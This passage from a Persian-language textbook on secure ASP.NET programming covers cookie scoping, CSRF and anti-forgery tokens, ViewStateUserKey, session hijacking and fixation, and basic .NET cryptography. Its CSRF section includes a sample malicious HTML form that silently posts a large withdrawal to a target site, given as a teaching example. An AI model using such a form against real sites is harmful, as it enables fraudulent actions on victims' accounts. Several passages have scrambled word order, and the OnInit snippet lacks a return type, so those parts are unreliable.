  ها در یک تعیین کنید که کدام یک از زیردامنه دهدمیتنظیم محدوده به یک دامنه، که به شما اجازه

 دامنه به کوکی دسترسی دارند.

 ها به یک پوشه یا برنامهمحدودکردن کوکي 

 کوکی را مانند مثال زیر مقداردهی کنید: Pathر کارگزار، صفت ها به یک پوشه دبرای محدود کردن کوکی

HttpCookie appCookie = new HttpCookie("AppCookie"); 

appCookie.Value = "written " + DateTime.Now.ToString(); 

appCookie.Expires = DateTime.Now.AddDays(1); 

appCookie.Path = "/Application1"; 

Response.Cookies.Add(appCookie); 

 

Path شود که باشد. مثال بالا منجر به این می مجازی ریشه یا سایت ریشه تحت فیزیکی مسیر یکتواند می

باشد. برای مثال، اگر  دسترس در مجازی یریشه یا Application1 پوشه در موجود صفحاتدر  تنها کوکی

، کوکی ایجاد شده در مثال بالا، برای صفحات با آدرس باشد www.contoso.comآدرس سایت شما 

http://www.contoso.com/Application1/ ای که در این پوشه قرار دارد، در دسترس خواهد و هر صفحه

http://www.contoso.com/Application1/
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 حتی یا /http://www.contoso.com/Application2 بود اما برای صفحات برنامه دیگر مانند

http://www.contoso.com/ .در دسترسی نخواهد بود 

 توانیدنمی شما: در برخی مرورگرها، مسیر نسبت به بزرگی و کوچکی حروف حساس است. نکته

به  شما یبرنامه اگر اما کنید، کنترل خود مرورگر در را های اینترنتی کاربرانآدرس چگونگی تایپ کردن

هایی که لینکتمامی  یهاآدرس که شوید نیمطم دارد، بستگی خاص مسیر یک به خورده گره یهاکوکی

 نظر بزرگی و کوچکی حروف( مطابقت دارد. )از Pathمقدار ویژگی  اید، باایجاد کرده

 کوکي یمحدود کردن دامنه 

خاص در ارتباط هستند. برای مثال، اگر سایت شما  یها با یک دامنه، کوکیفرضپیشبه طور 

www.contoso.com زمانی که کاربران درخواست هر صفحه از سایت را داشته باشند، همه باشد ،

شود(. یها با یک مقدار مسیر خاص نم)شامل کوکی شودمیاید به کارگزار ارسال هایی که شما نوشتهکوکی

توانید می ،support.contoso.comو sales.contoso.comاگر سایت شما دارای چند زیردامنه باشد مانند 

کوکی را  Domain. برای انجام این کار، مانند مثال زیر، صفت ها را به یک زیردامنه خاص مرتبط کنیدکوکی

 مقداردهی کنید:

Response.Cookies["domain"].Value = DateTime.Now.ToString(); 

Response.Cookies["domain"].Expires = DateTime.Now.AddDays(1); 

Response.Cookies["domain"].Domain = "support.contoso.com"; 
ها فقط برای صفحات زیردامنه مشخص شده در دسترس زمانی که دامنه به این روش مقداردهی شود، کوکی

تواند بین چندین یک کوکی ایجاد کنید که می ،Domainتوانید با استفاده از صفت می چنینهمخواهند بود. 

 زیردامنه به اشتراک گذاشته شود. مانند مثال زیر:

Response.Cookies["domain"].Value = DateTime.Now.ToString(); 

Response.Cookies["domain"].Expires = DateTime.Now.AddDays(1); 

Response.Cookies["domain"].Domain = "contoso.com"; 

 یدر دامنه ،support.contoso.com و sales.contoso.comتواند علاوه بر نتیجه مثال بالا، کوکی می در

 اصلی نیز در دسترس باشد.

http://www.contoso.com/
http://www.contoso.com/
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 (CSRF)سایتي بینجعل درخواست  4-6

سایت مخرب به یک سایت ( یک نوع حمله است که در آن یک CSRFسایتی )بینجعل درخواست 

را  CSRF یای از حملهفرستد. در اینجا نمونهپذیر که کاربر درحال ورود به آن است، درخواست میآسیب

 کنید:مشاهده می

 شود.وارد می www.example.comیک کاربر از طریق پرکردن فرم احراز هویت به سایت  .1

 ر شامل یک کوکی احراز هویت است.کند. پاس  کارگزاکارگزار، کاربر را اعتبارسنجی می .2

کند. سایت مخرب حاوی یک بدون خارج شدن از سایت، کاربر از یک سایت مخرب بازدید می .3

 مانند زیر است: HTMLفرم 

<h1>You Are a Winner!</h1> 

  <form action="http://example.com/api/account" method="post"> 

    <input type="hidden" name="Transaction" value="withdraw" /> 

    <input type="hidden" name="Amount" value="1000000" /> 

  <input type="submit" value="Click Me"/> 

</form> 

 کند، نه به سایت مخرب.پذیر ارسال میفرم، اطلاعات را به سایت آسیب actionتوجه کنید که 

 مرورگر اکنون حاوی کوکی تصدیق و درخواست کاربر است.کند. کاربر روی دکمه کلیک می .4

تواند هر عملی که یک کاربر درخواست به همراه محتوای کوکی تصدیق در کارگزار اجرا شده و می .5

 تصدیق شده قادر به انجام آن است را اجرا کند.

تواند به راحتی یک مخرب می یروی دکمه کلیک کند، صفحه اگرچه مثال قبل نیازمند این است که کاربر بر

تواند از یک نمی SSLکند. علاوه براین، استفاده از را ارسال می Ajaxاسکریپت اجرا کند که یک درخواست 

 ارسال کند. "//:https"د یک درخواست توانمیجلوگیری کند زیرا سایت مخرب  CSRFحمله 

پذیر است، کنند امکاناستفاده میها برای احراز هویت هایی که از کوکیدر سایت CSRFمعمولا حملات 

 CSRFکنند. با این حال، حملات های مرتبط را به سایت مقصد ارسال میچرا که مرورگرها تمامی کوکی

 پذیر است.نیز آسیب  Digestو پایه. به عنوان مثال احراز هویت شوندمیها محدود نتنها به استفاده از کوکی

مرورگر به صورت خودکار تا زمانی که نشست به  ، Digestیا پایهبعد از ورود کاربر از طریق احرازهویت 

 کند.ها را ارسال مینامهگواهیپایان برسد، 
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 های ضد جعلتوکن 1-4-6

کند که های ضد جعل استفاده میاز توکن CSRF ،Asp.Net MVCبرای کمک به جلوگیری از حملات 

 شوند.نیز نامیده می« خواستهای تایید درتوکن»

 کند.حاوی یک فرم را درخواست می HTML ییک صفحه کارخواه .1

شود و دیگری در ها به عنوان کوکی ارسال میکارگزار در پاس  خود دو توکن دارد. یکی از توکن .2

شوند بنابراین مهاجم ها به صورت تصادفی تولید میگیرد. این توکنیک فیلد پنهان قرار می

 را حدس بزند. هاآنتواند مقادیر نمی

 کارخواهکند، باید هر دو توکن به کارگزار بازگشت داده شود. فرم را ارسال می کارخواهزمانی که  .3

توکن کوکی را به صورت یک کوکی فرستاده و فیلد پنهان را داخل اطلاعات فرم قرار داده و ارسال 

 دهد(.می )مرورگر این عمل را به صورت خودکار انجام کندمی

 دهد.اگر درخواست حاوی هر دو توکن نباشد، کارگزار اجازه درخواست را نمی .4

 با توکن پنهان آورده شده است: HTMLدر ادامه مثالی از یک فرم 

<form action="/Home/Test" method="post"> 

    <input name="__RequestVerificationToken" type="hidden"    

           value="6fGBtLZmVBZ59oUad1Fr33BuPxANKY9q3Srr5y[...]" />     

    <input type="submit" value="Submit" /> 

</form> 

های کاربر را با توجه به تواند توکنکنند زیرا سایت مخرب نمیهای ضد جعل به خوبی کار میتوکن

سایت  دو سندهای قرارگرفته شده در های مبدأ یکسان، از دسترسیهای مبدأ یکسان بخواند. سیاستسیاست

تواند درخواست را به کند. بنابراین در مثال قبل، سایت مخرب میبه محتوای یکدیگر جلوگیری میمتفاوت 

example.com تواند پاس  آن را بخواند.ارسال کند اما نمی 

فاده کنید. شامل هویت است های ضد جعل با هر پروتکل احرازاز توکن CSRFبرای جلوگیری از حملات 

هایی مانند احراز هویت پروتکل چنینهمو  فرم احراز هویتهای احراز هویت مبتنی بر کوکی، مانند پروتکل

 . Digestو  پایه

استفاده  POST ،PUT ،DELETEهای های ضد جعل برای هر روش غیرامنی مانند روششما باید از توکن

گونه عوارض جانبی ندارند. هیچ HEADو  GETهای امن مانند اطمینان حاصل کنید که روش چنینهمکنید. 

های امن مانند را فعال کنید، حتی روش JSONPیا  CORSدامنه ای مانند بینعلاوه بر این، اگر پشتیبانی 

GET دهند.پذیر شده و به مهاجم اجازه خواندن اطلاعات حساس را مینیز آسیب 
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 Asp.Net MVCهای ضد جعل در توکن ۲-4-6

 استفاده کنید: HtmlHelper.AntiForgeryTokenاز تابع  ،Razorهای ضد جعل به صفحه افزودن توکن برای

@using (Html.BeginForm("Manage", "Account")) { 

    @Html.AntiForgeryToken() 

} 

 این روش توکن کوکی و توکن پنهان را اضافه خواهد کرد.

 Asp.Netدر  CSRFجلوگیری از  3-4-6

Asp.Net دارینگهبرای  ایگزینه ViewState شما دارد .ViewState  وضعیت یک صفحه زمانی که به

. این وضعیت از طریق فیلد پنهان قرارگرفته شده در هر صفحه با کندمیشود را مشخص کارگزار ارسال می

 CSRFد به عنوان یک دفاع دربرابر توانمی ViewState. شودمیتعریف   <"form runat="server>کنترل 

معتبر کار دشواری است. اگر مقادیر پارامترها قابل  ViewStateکه برای مهاجم ایجاد یک  استفاده شود چرا

معتبر غیرممکن نیست. با این حال، اگر  ViewStateمشاهده یا حدس زدن توسط مهاجم باشند، ایجاد یک 

فرد شده و در نتیجه منحصربه ViewStateشود هر ود، باعث میاضافه ش ViewStateنشست فعلی به  شناسه

به  ViewState در ViewStateUserKeyصفت  از استفاده برایشود. ایمن می CSRFدر برابر حملات 

 شده مشتق کلاس از OnInit تابع مجازی در را زیر موارد بازگرداندن،/ارسال جعل برابر در محافظت منظور

 :(شود تنظیم Page.Init رویداد در باید صفت این) اضافه کنید صفحه از

protected override OnInit(EventArgs e) { 

     base.OnInit(e);  

     if (User.Identity.IsAuthenticated) 

        ViewStateUserKey = Session.SessionID; } 

تولید شده  ViewStateقبل از بارگذاری  Asp.netسازی شود زیرا کلید در پیاده Page_Initاین مورد باید در 

 باشد.در دسترس می Asp.Net 1.1این گزینه از  است.

مک فقط در ارسال/بازگرداندن  ViewStateهایی در این مکانیسم وجود دارد. مثلا با این وجود محدودیت

کند به آسانی اجازه ه نمیدیگر که از ارسال/بازگرداندن استفاد برنامهشود، بنابراین هر درخواست بررسی می

 .کندمیرا فراهم  CSRFحمله 

 ASP.NETسرقت نشست در  5-6

 یک دهدمی اجازه هایی است کهروش توصیف برای استفاده مورد جمعی اصطلاح یک نشست ربودن

را دارد.  هدف کارخواه هایدسترسیمهاجم همان  کارخواه نتیجه در ،ی بپردازددیگر هویت جعل به کارخواه



  نتنویسي امن در داتبرنامه 

202 

 

 
 

 جز به) نیست امنرود، می HTTP پروتکل روی شبکه سراسر در کهقانون کلی این چنین است: هرچیزی 

 .(شود استفاده خاصی راه در و شده رمزگذاری که آن

اولین روش واضح برای محافظت از سایت خود دربرابر حملات سرقت نشست این است که در همه 

آورد اما متاسفانه یک هزینه دارد. ها فراهم میرا اجباری کنیم. این کار امنیت را در تمامی زمان SSLها زمان

رمزنگاری، نیاز خواهد  SSLترین مشکل این روش این است که به برخی سطوح سربار با توجه به مهم

 و نشست طول سایت، برانکار تعداد ،کارگزار افزارنرم ،کارگزار افزارسخت به وابسته شدت به اینداشت و 

 است. غیره

کنند. با انجام این می استفاده ورود صفحه برای تنها SSL از امروزه هایسایتوب اکثر ،به دلیل نگرانی بالا

شود، بنابراین هیچ شوند که اعتبارنامه ورود کاربر به صورت امن به کارگزار منتقل میمطمئن می هاآنکار 

کارگزار احراز  کهاینراهی نیست که کاربر مخرب بتواند این اطلاعات را به دست آورد. معمولاً بعد از 

برای شناختن کاربر در هویت کاربر را انجام داد، موضوع مهم کوکی احراز هویت است، چراکه این کوکی 

گیرد. بدترین حالت این است که کوکی احراز هویت به میهای بعدی مورد استفاده قرار تمام درخواست

 شوند.پذیر میمنتقل شود و در نتیجه به شدت آسیب httpصورت غیرایمن به عنوان مثال تحت 

 

 نشست : سرقت۲-6شکل 

 دهد. این مراحل به شرح زیر هستند:سرقت نشست را نشان می یمراحل انجام یک حمله 2-6شکل 
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 .ایمن( httpانتقال اعتبار )با فرض اتصال  .1

 ایمن(. httpsکند )با فرض اتصال تایید اعتبار. کارگزار وب یک کوکی احراز هویت صادر می .2

 شود.. کوکی احراز هویت نیز منتقل میhttpدرخواست داده تحت  .3

 .httpپاس  داده تحت  .4

گیرد. این شامل کوکی احراز شود، میمنتقل می 4و  3یعنی در نقاط  httpها که تحت هکر تمام داده .5

 شود که کارگزار وب صادر کرده است.هویت می

 کند.شده یک درخواست ارسال می هکر با استفاده از کوکی احراز هویت گرفته .6

کند. در اینجا کارگزار وب تفاوتی بین هکر و کوکی احراز هویت را اعتبارسنجی می کارگزار وب .7

 دهد.قربانی تشخیص نمی

 Asp.Netدر  1تثبیت نشست 6-6

دهد تا نشست قربانی را به یک حمله خاص درمقابل نشست است که به مهاجم اجازه میتثبیت نشست 

 یک. شودمی شروع معتبر نشست یک ایجاد و هدف سایتوب به مهاجم مراجعه با حمله دست آورد.

 شناسه حاوی کوکی یکبرنامه  که زمانیگردد: می ایجاد زیر راه دو از یکی ازطریق معمول طور به نشست

  شود.میارایه نشست  شناسه شامل URL یککند و یا به یک کاربرمیارایه  نشست

کند. در این نقطه ترغیب می نشست شناسه این از استفاده به را قربانی ،در نشست تثبیت از پس مهاجم،

. از این پس هر زمان که اطلاعاتی در این کننداز یک شناسه نشست مشترک استفاده میمهاجم و قربانی 

اید قربانی قربانی هم برای نمایش اطلاعاتی که تنها ب گیریتصمیمذخیره شود، هم برای  نشست تثبیت شده

 د توسط مهاجم نیز دیده و استفاده شود.توانمیاین اطلاعات  ،مشاهده کند، استفاده شود 

مهاجم بتواند از نشست استفاده کند، نشست را تحت تاثیر  کهاینبه این معنی است که قربانی باید قبل از 

ی مشخص کردن کاربر تصدیق قرار دهد. به عنوان مثال، فرض کنید یک پرچم در نشست ذخیره شده که برا

کاربر نیز در نشست مورد استفاده برای استخراج اطلاعات  دادهپایگاهکلید  چنینهمو رود به کار میشده 

به  هایی از سایت کههویت شده و بخش ماند تا قربانی احراز. بعد از آن مهاجم منتظر میذخیره شده است

                                                   

 

 

1 Session Fixation 
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کند. تا زمانی که مهاجم و قربانی سطح مجوز یکسانی دارند، مثلا طور معمولی قابل مشاهده نیست را بازدید 

تصمیم برای اجازه دسترسی و مشاهده اطلاعات کاربر که توسط اطلاعات ذخیره شده در نشست کنترل 

 . کندمیبیند، مهاجم نیز مشاهده شده؛ هر آنیه که قربانی میمی

 Asp.Netلیست امنیت مدیریت حالت در چک 7-6

 فاده از یک درخواست هرگز با استGET  .حالت را تغییر ندهید 

  همیشه از مراجع شی غیرمستقیم مانند خودداری کنید اشیاارجاع مستقیم به از .GUID  برای اشاره

توانند به سادگی تغییر یافته تا به استفاده کنید. مراجع شی مستقیم می کارگزاربه منابع روی وب 

 هاآنی داشته باشد که در حالت معمول نباید قادر به مشاهده مهاجم اجازه دهند به اشیایی دسترس

 .باشد یا خیرمی شده درخواست شی دیدن به مجاز فعلی کاربر که کنید بررسیباشد. 

 درستی به کهاین مگر کنید،ن استفاده حساس اطلاعات دارینگه برای فرم مخفی فیلدهای از 

توانند توسط می وجوپرس یرشتهشده باشند. به یاد داشته باشید که فیلدهای یک فرم و محافظت

 شوند. کاریدستمهاجم 

  یک توکنCSRF توانید بررسی کنید که آیا های خود اضافه کنید. با این کار شما میبه فرم

 شده از طرف سایت شماست یا خیر.دریافتدرخواست 

 از شما گرا بازسازی: حملاتاز  جلوگیری viewstate یک ،کنیدمی استفاده ViewStateUserKey 

 کنید. سازیپیادهبازسازی  حملات از جلوگیری برای

  محافظت از اطلاعات حساس: هرگز اطلاعات مهم و حساس را درViewState .ذخیره نکنید 

  رمزگذاریViewState : اگر لازم است ازViewState  ،برای ذخیره اطلاعات حساس استفاده کنید

 آن را رمزگذاری کنید.
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 نترمزنگاری در دات 7

 ای بر رمزنگاریمقدمه 1-7

 قصد که است یکسان جز به همه، یبرا آن کردن ناخوانا و ساده متن در هاداده لیتبد ندیفرا یرمزگذار

 آن در که است یندیفرا تال،یجید یامضا خاص طور به ای امضا،. دارند را محرمانه هدف با هاداده خواندن

یک امضای معتبر به گیرنده  .است شده جادیا داده یدرست و صحت دادن نشان یبرا، تالیجید یامضا کی

نشده  کاریدستوجه هیچدهد که اطلاعات از طرف فرستنده معتبر آمده و در طول مسیر به میاطمینان 

 است.

را  امی. ابتدا پمیارسال کن یعلمحرمانه منحصراً به  امیپ کی میخواهیکه م میریگیمثال در نظر م یبرا

 کی خواهمیم حالا. بخواند و کند ییرمزگشا را اطلاعات تواندیکه تنها او م یبه طور م،یکنیم یرمزگذار

 نیدر مورد اصالت اطلاعات نگران است. به ا رضاچون  میکنیرا امضا م امی. ابتدا پمیارسال کن رضابه  امیپ

در طول  امیاصل پ کهاینو  بکاریآدم فر کیاز طرف ما آمده است نه  امیمطمئن شود پ خواهدیخاطر او م

 نشده است. یکاردست ریمس

 تالیجید یامضا هم و شود یرمزگذار تواندیم هم امیپ کی. ستندین فرد به منحصر متقابلا امضا و یرمزگذار

فقط او  نیارسال کنم بنابرا کامرانمحرمانه به  امیپ کی خواهمیم من مییگویم مثال یبرا. باشد داشته

 از نه کندیم افتیرا از طرف من در امیپ کامرانکنم  دایپ نانیاطم خواهمیم نیچنهمرا بخواند.  امیپ تواندیم

 .کنمیهم م امضا ،یرمزگذار بر علاوهرا  امیحالت من پ نیا در .بکاریفر شخص کی طرف

اگر پیامی در  .شودمییک ارتباط رمزگذاری شده است در انتهای دیگر، رمزگشایی  یک سمتاگر پیامی در 

 شود.اعتبارسنجی می امضا امضا شده است در انتهای دیگر، ارتباطی یک کانال یک سمت

 شود:زیر می عملکردرمزنگاری تنها در مورد رمزگذاری اطلاعات نیست، بلکه شامل چهار 

 :ترین نمونه از احراز هویت رمزنگاری گواهیاول تابع احراز هویت X509 حین  استفاده شده در

اطلاعاتی در مورد  نامهگواهی. این باشدمی کارگزار وب( با ssl)socketsامن  یلایه یمکالمه

 سایتوبیا آکه  تصمیم بگیرنددهد تا کاربران ای امن فراهم کرده و اجازه میبه شیوه کارگزار

توانند برای تصدیق هویت یک کاربر از راه دور)یا می چنینهمها نامهگواهیقانونی است یا خیر. 

مورد استفاده قرار بگیرند. به عنوان مثال، کارت عبور  کارگزارروی یک  )یک سیستم از راه دور
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به ساختمان خود استفاده شده و شامل یک تراشه  هاآنکارکنان مایکروسافت برای اجازه دسترسی 

این کارت هوشمند برای تأیید هویت یک کارمند  شود.است می  X509 نامهگواهیکه حاوی یک 

 گردد.های داخلی دارد استفاده میهنگامی که او از راه دور و از خانه دسترسی به سیستم

 که یک کاربر درخواستی را صادر کرده این است انکارناپذیری یک روش اثبات نکارناپذیری: ا

ممکن است  یک پیام به عنوان مثال،دهد که منکر اقداماتش شود. است و به یک کاربر اجازه نمی

 مبدأ سیستم اما بعداً دارد ارسال شود دیگری که درخواست انتقال پول یک سیستم به سیستم از

به کارناپذیری از طریق رمزنگاری ). اندرخواستی نفرستاده است که هرگز ممکن است ادعا کند

 ی( اجازهاندرا امضا کرده که درخواست امضاهای دیجیتالی از طریق استفاده از طور معمول،

 دهد که درخواست از سیستم مبدأ فرستاده شده است.اثبات این را می

  :از حروف رمزی سزار ) که در آنبود هدف اصلی رمزنگاری محرمانه بودنمحرمانه بودن . 

های های خود استفاده کرد( گرفته تا ماشینها با ژنرالژولیوس سزار برای امن نگه داشتن پیام

Enigma   که در جنگ جهانی دوم برای حفظ ارتباطات نظامی در آلمان از طریق یکسری رمزهای(

امنیت  و sslی استفاده شده در های متعدد و پیییدهجایگزین استفاده شده است( و امروزه الگوریتم

توانند دهد که تنها کاربران با دسترسی مناسب می(. رمزگذاری اطمینان میTLSلایه انتقال )

 های رمزگذاری شده را بخوانند.رمزگشایی کرده و داده

 در  هادادهتواند اطمینان ایجاد کند که سازی( میدرهم هایالگوریتم از طریقرمزنگاری ): جامعیت

  .اندسازی تغییر نکردهذخیرهزمان انتقال و یا 

 ی امنارتباطات کردن یک وسیلهرمزنگاری به فراهم کند.های در حال انتقال کمک میرمزنگاری به امنیت داده

 )رمزگذاری/ رمزگشایی( ناخواسته، کمک کرده افراداز طریق جلوگیری از مشاهده اطلاعات محرمانه توسط 

دریافت کننده که از  افرادشده یا نه، برای  کاریدستانتقال داده در حین  کهاینهایی برای تشخیص و راه

محرمانه و کامل بودن، رمزنگاری به  ی(. جدا از جنبهسنجی) امضا / اعتبار کندمیاند، فراهم قبل تعیین شده

 کند.و انکارناپذیری هم کمک می احراز هویتفرایند 

به همراه داده واقعی که الگوریتم ، استتصادفی  که یک داده تولید شده به صورتیک کلید رمزنگاری 

کلید  کهاینبستگی به . هستندهای رمزنگاری یک ورودی مهم برای الگوریتمقصد حفاظت از آن را دارد، 

 تقسیم شوند: به دو بخش اصلی توانندمی های رمزنگاریالگوریتم، شوداستفاده می چگونه
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، همان کلیدی است که در هر کنداستفاده میرمزنگاری کلید متقارن یا کلید مخفی که از یک کلید  .1

 شود. دو بخش پایانی ارسال و دریافت استفاده می

کند، که یک رمزنگاری کلید نامتقارن یا کلید عمومی که از یک جفت کلید مرتبط ریاضی استفاده می .2

 شود.میدریافت استفاده  یهپایان ارسال و دیگری در یهکلید در پایان

های مشخص رمزنگاری کلید متقارن این است که از همان کلید در هر دو بخش پایانی یعنی هم از ویژگی

شود زیرا کلید مخفی نیز نامیده می چنینهمشود. یک کلید متقارن کننده استفاده میدریافتکننده و هم ارسال

گذاری کننده به صورت مخفی اشتراکدریافتاین مکانیزم نیاز به کلیدی دارد که از طریق ارسال کننده و 

 هم رمزگشاییشود برای استفاده میرمزگذاری کلید متقارن، کلیدی که برای رمزگذاری در واقع  شود. در

شود، برای اعتبارسنجی پیام هم استفاده شود. به طور مشابه کلیدی که برای امضا استفاده میاستفاده می

زیرا ما از یک کلید برای قفل کردن در و از  ریدتر به نظر میروش مبتنی بر کلید متقارن طبیعیشود. می

در  RNGCryptoServiceProvider کنیم. شما میتوانید از کلاسهمان کلید برای باز کردن در استفاده می

 های متقارن استفاده کنید.دهای قابل استفاده در الگوریتمنت، برای تولید کلیچارچوب دات

برای رمزنگاری نامتقارن، دو کلید وجود دارد: یک کلید عمومی و یک کلید خصوصی. کلیدها به صورت 

کننده مورد ارسال. برای رمزگذاری یک پیام، کلید عمومی دریافت کننده در سمت مرتبط هستندریاضی باهم 

یرد. پیامی که از این طریق رمزگذاری شده است فقط با کلید خصوصی دریافت کننده گاستفاده قرار می

کننده استفاده ارسالکننده توسط خود ارسالتواند رمزگشایی شود. برای امضای یک پیام، کلید خصوصی می

کننده ارسالای که از کلید عمومی کنندهدریافتشود. پیامی که به این ترتیب امضا شده باشد توسط می

یک ، در حالی که به اشتراک گذاشته شود هرگز نباید کلید خصوصی .شودمیکند، اعتبارسنجی استفاده می

 .کسی به اشتراک گذاشته شودهر تواند بامی کلید عمومی

نت برای تولید کلید نامتقارن هم در دات  RNGCryptoServiceProviderتوانید از کلاسمی چنینهمشما 

برای این  توانمیرا   X.509دیجیتال  نامهگواهی، هردو کلید خصوصی و عمومی از چنینهماستفاده کنید. 

 مرجع یک توسط نامهگواهیتنها برای دربرگرفتن کلیدها نیست.  نامهگواهیمنظور استفاده کرد. یک 

 که نهادی است به متعلق آن در موجود کلیدهای که کندتضمین می و شده ( صادرCA) نامهگواهی

ای برای اثبات هویت فرد است. این یک وسیله نامهگواهیشده است. بنابراین،  توسط آن صادر نامهگواهی

است. منشاء یک پیام امضا شده با کلید خصوصی یک  های عدم انکارمندیمهم از نظر توجه به نیاز یجنبه

کرد.  نگاشت ،های عدم انکارمندینیازتوان به هویت فرستنده و ایجاد رضایت در یرا م X.509 نامهگواهی
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  RNGCryptoServiceProviderدر مقایسه با این، یک جفت کلید عمومی و خصوصی تولید شده با استفاده 

 . استفاده کردبه منظور انکارناپذیری  توانرا نمی

 دهد.را نشان می نامتقارن و متقارن دیکل یهاتمیالگور سهیرمقایز جدول

 های رمزنگاری متقارن و نامتقارن: مقایسه الگوریتم1-7جدول 

 الگوریتم کلید نامتقارن الگوریتم کلید متقارن عامل

 .نسبتا کندتر است .سرعت بیشتر در مقایسه با الگوریتم نامتقارن کارایی

حجم اطلاعاتی که  از نظر ریاضی محدودیت .با حجم زیادی از اطلاعات سروکار دارد هادادهحجم 

 .د به کار گرفته شودتوانمی

پنهان کردن 

 هاکلید

کننده به اشتراک کلید باید بین فرستنده و دریافت

گذاشته شود و هر دو طرف باید کلید را حفظ کنند 

تر اکتر و خطرنکه این کار به طور کلی سخت

که یک طرف وظیفه حفظ است در مقایسه با زمانی

 .آن را دارد

 خود را حفظ کلید خصوصی با دقت باید شما

را بین  کلید عمومی آزادانه توانیدکنید اما می

همه همکارانی که در ارتباط هستید توزیع 

 ایمنی کلید شما در دست دیگران نیست. کنید.

طور منظم تغییر  بهدر عمل کلیدهای متقارن  طول عمر

مدیریتی و عملیاتی برای . سربارهای کنندمی

برقراری جایگزینی کلید قدیمی با کلید جدید، 

در مورد تغییرات و  های مربوطهارتباط با طرف

 .وجود دارددر مقابل تغییرات  هاسازگاری بخش

کلیدهای نامتقارن به طور کلی عمر بیشتری 

لیدهای ک دارینگهدارند. سربارهایی برای 

نامتقارن وجود دارد اما به طور کلی کلیدها 

 کنند.اغلب مثل کلیدهای متقارن تغییر نمی

مستعد بودن 

برای حملات 

جستجوی 

 فراگیر

کند اندازه کلید انتخاب شده حساسیت را تعیین می

 .تر هستندحساس اما کلیدهای متقارن نسبتاً

حجم مقادیر ممکن است برای کلید نامتقارن 

در مقایسه با کلید متقارن بسیار بزرگتر باشد، 

گونه استعداد کمتری برای اینبنابراین کلید 

 حملات دارد.

درگیر نیست و از این  CAهیچ نهاد خارجی مانند  هزینه

ای برای بدست آوردن کلیدهای رو هیچ هزینه

 .الگوریتم وجود ندارد موردنیاز

در اگرچه امکان ایجاد کلیدها وجود دارد، اما 

های نامهگواهی با های نامتقارنالگوریتم عمل

. برای تجدید شودمی استفاده  X.509 دیجیتال

های پولی هزینه CAهمانند  هاآنو مدیریت 

 .وجود دارد



 های مدیریت محتواهای سیستمپذیریهای سازماني و کشف آسیبسازی پرتالخدمات مشاوره در حوزه امن 

20۹ 

 

 
 

 به رند،یگ قرار استفاده مورد هم با توانندیم نامتقارن و متقارن دیکل دو هر که دیباش داشته توجه است جالب

 کی صورت نیا در. شود جادیا درجا صورت به دیبا ارتباط شروع زمان در دیبا متقارن دیکل که یهنگام ژهیو

 کرده یرمزگذار متقارن دیکل یرمزگذار تمیالگور از استفاده با را آن و کند جادیا را متقارن دیکل تواندیم فرد

 یبعد امیپ تبادلات شد، گذاشته اشتراک به که یهنگام .بگذارد اشتراک به گرید فرد با یمخف صورت به و

 .شود محافظت متقارن دیکل تمیالگور با تواندیم

 نترمزنگاری دات ۲-7

ها . این الگوریتمکندمیهای رمزنگاری استاندارد را فراهم پیاده سازی بسیاری از الگوریتم نتداتچارچوب 

، نتداتممکن را دارند. به علاوه مدل رمزنگاری  فرضپیشترین خواص امنبرای استفاده آسان هستند و 

 بسیار قابل توسعه است. ،، جریان طراحی و پیکربندیاشیاوراثت 

 اشیاوراثت  1-۲-7

 کند.سازی میشده را پیادهمشتقکلاس وراثت ، یک الگوی قابل توسعه از نتدات یتی چارچوبسیستم امن

 :است ریز شرح به مراتب سلسله

 یا  SymmetricAlgorithm، AsymmetricAlgorithm نظیر ،کلاس نوع الگوریتم .1

HashAlgorithm است. 1انتزاعی. این سطح 

یا  Aes, , RC2مثال  عنوان. به رودبه ارث میکلاس الگوریتم از کلاس نوع الگوریتم  .2

ECDiffieHellman است. انتزاعی. این سطح 

 , AesManaged ,. برای مثال رودبه ارث میکلاس الگوریتم کلاس الگوریتم که از  سازی یکپیاده .3

RC2CryptoServiceProvider , ECDiffieHellmanCng سازی شده پیاده. این سطح به طور کامل

 .است

به یک الگوی موجود  سازیپیادهاضافه کردن الگوی جدید یا  ،های مشتق شدهکلاس الگوی استفاده از اینبا 

 کلاسکاری آسان است. به عنوان مثال برای ایجاد یک الگوریتم کلید عمومی جدید، شما از 

                                                   

 

 

1 abstract 
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AsymmetricAlgorithm یک الگوریتم خاص جدید از سازیپیاده ایجاد یک برای .بری خواهید کردارث ،

 از آن الگوریتم را ایجاد خواهید کرد.غیرانتزاعی مشتق  کلاسشما یک 

 نتها در چارچوب داتسازی الگوریتمونگي پیادهچگ ۲-۲-7

 متقارن را در نظر بگیرید. هایالگوریتم ،الگوریتمموجود برای یک مختلف  هایسازیپیادهبه عنوان مثالی از 

 ابد:یهای زیر توارث میکه از طریق الگوریتم است SymmetricAlgorithm متقارن، یهاتمیالگور تمام هیپا

1. Aes 

2. DES 

3. RC2 

4. Rijndael 

5. TripleDES 

Aes توسط دو کلاس به ارث برده شده است :AesCryptoServiceProvider  وAesManaged .کلاس 

AesCryptoServiceProvider سازیبرای پیاده 1یک پوشش Windows Cryptography API (CAPI)  از 

Aes کلاسکه است، درحالی AesManaged  به طور کامل با کدهای مدیریت شده نوشته شده است. علاوه

 Cryptography Next Generationبه نام  سازیپیادهنوع سومی از  ،CAPI شده ومدیریتهای سازیپیادهبر 

(CNG) ای از الگوریتم وجود دارد. نمونهCNG ،ECDiffieHellmanCng های است. الگوریتمCNG  در

 تر موجود هستند. ویندوز ویستا و بالا

شده در تمام مدیریت هایسازیپیادهشما بهتر است.  موقعیتبرای  سازیپیادهتوانید انتخاب کنید که کدام می

 عاملهای در سیستم CAPIپشتیبانی میشوند. اجراهای  نتچارچوب داتسطوح موجود هستند که از طریق 

 هاینویسیسازی است که برنامهپیادهروزترین به CNG. اندتر موجود است و بیش از این توسعه نیافتهقدیمی

 2پردازش اطلاعات فدرال هایدیریت شده توسط استانداردهای مسازیگیرد. با این حال پیادهجدید شکل می

(FIPS) های پوششی باشد.تایید نشده است و ممکن است کندتر از کلاس 

                                                   

 

 

1 Wrapper 

2 Federal Information Processing Standards 
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 انتخاب یک الگوریتم 3-۲-7

ها، حریم خصوصی داده جامعیتتوانید انتخاب کنید: برای مثال، مختلفی می شما یک الگوریتم را به دلایل

 یا از نظر جامعیتها داده محافظت ازسازی، برای های متقارن و درهمها یا ایجاد یک کلید. الگوریتمداده

های تم. الگوریشونداستفاده می (مشاهده)محافظت از  محرمانگی)محافظت از تغییرات( و یا دلایل  هاآن

 شوند.ها استفاده میداده جامعیتسازی در درجه اول برای درهم

 کنید:را مشاهده می بر اساس کاربردتوصیه شده  هایالگوریتم در زیر لیستی از

 حریم خصوصی داده: 

o Aes 

 داده جامعیت: 

